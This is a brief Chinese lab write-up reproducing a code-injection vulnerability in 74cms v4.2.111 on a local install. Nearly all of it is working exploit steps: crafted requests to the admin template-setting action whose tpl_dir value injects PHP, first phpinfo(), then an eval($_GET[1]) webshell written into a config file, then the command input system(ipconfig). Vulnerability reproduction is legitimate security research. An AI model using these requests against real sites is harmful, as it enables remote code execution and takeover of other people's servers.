下载地址
http://www.74cms.com/download/index.html
漏洞复现
进入后台
http://127.0.0.1/74cms_home_setup_v4.2.111/74cms_v4.2.111/upload/index.php?m=admin&c=index&a=index
抓包,修改post值
POST /74cms_home_setup_v4.2.111/74cms_v4.2.111/upload/index.php?m=admin&c=tpl&a=set&tpl_dir=','a',phpinfo(),' HTTP/1.1
再次查看
查看源代码
D:\phpstudy001\PHPTutorial\WWW\74cms_Home_Setup_v4.2.111\74cms_v4.2.111\upload\Application\Home\Conf
抓包,修改get值
GET /74cms_home_setup_v4.2.111/74cms_v4.2.111/upload/index.php?m=admin&c=tpl&a=set&tpl_dir=','a',eval($_GET[1]),' HTTP/1.1
查看源代码
1=system(ipconfig);